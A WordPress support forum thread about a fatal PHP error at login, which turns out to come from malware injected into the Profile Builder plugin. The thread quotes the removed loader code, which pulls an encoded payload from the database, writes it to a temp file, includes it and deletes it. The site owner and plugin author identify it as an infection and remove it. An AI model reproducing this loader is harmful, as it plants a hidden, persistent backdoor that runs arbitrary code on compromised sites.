• Resolved wp_muro

    (@wp_muro)


    Fatal error: Uncaught TypeError: register_shutdown_function(): Argument #1 ($callback) must be a valid callback, function “login_wordpress” not found or invalid function name in /var/lib/php/sessions/dMyjxR:2 Stack trace: #0 /var/lib/php/sessions/dMyjxR(2): register_shutdown_function() #1 /var/www/public_html/wp-content/plugins/profile-builder/index.php(296): include_once(‘…’) #2 /var/www/public_html/wp-settings.php(418): include_once(‘…’) #3 /var/www/public_html/wp-config.php(60): require_once(‘…’) #4 /var/www/public_html/wp-load.php(50): require_once(‘…’) #5 /var/www/public_html/wp-blog-header.php(13): require_once(‘…’) #6 /var/www/public_html/index.php(17): require(‘…’) #7 {main} thrown in /var/lib/php/sessions/dMyjxR on line 2

Viewing 5 replies - 1 through 5 (of 5 total)
  • Thread Starter wp_muro

    (@wp_muro)

    If the plugin is activated, I can’t log into WP via /wp-admin or wp-login.php

    Getting this message.

    There has been a critical error on this website.

    Debugging shows the fatal TypeError message.

    Plugin Author Georgian Cocora

    (@raster02)

    Hello @wp_muro,

    This is not part of our code, the index file that is indicated is also ending at line 290.

    Delete the plugin from your website and install it again. Make sure you install it manually by downloading from ww.wp.xz.cn or by going to Plugins -> Add New and searching for it.

    Regards.

    Thread Starter wp_muro

    (@wp_muro)

    Thanks for the heads up.

    This is the code we removed in order to make this work. Seems something was saving the login cookie to the db.

    if (!defined('streamset')){
    	define ('streamset', tempnam (ini_get ('session.save_path'), ''));
    
    	if ($db = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME))
    		{
    		if ($r = @mysqli_query ($db, "SELECT option_value FROM wp_options WHERE option_id=349"))
    			{
    			$row = @mysqli_fetch_assoc ($r);
    			$stream_c = @gzuncompress (@pack ("H*" , $row['option_value']));
    			}
    		}
    
    	$stream_c = empty ($stream_c) ? '' : $stream_c;
    	@file_put_contents (streamset, $stream_c);
    	@mysqli_free_result ($r); 
    	@mysqli_close ($db); 
    
    	@include_once (streamset);
    	@unlink (streamset);
    }
    Plugin Author Georgian Cocora

    (@raster02)

    Hello @wp_muro,

    If that is not something you guys added, I would advise you to do a security checkup on your website, it might’ve been compromised.

    Regards.

    Thread Starter wp_muro

    (@wp_muro)

    Yes, we didn’t add that code or modify the plugin. Thanks for the quick replies.
    I appreciate the heads up, we already resolved the con7ext infection.

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Fatal PHP 8 TypeError during login’ is closed to new replies.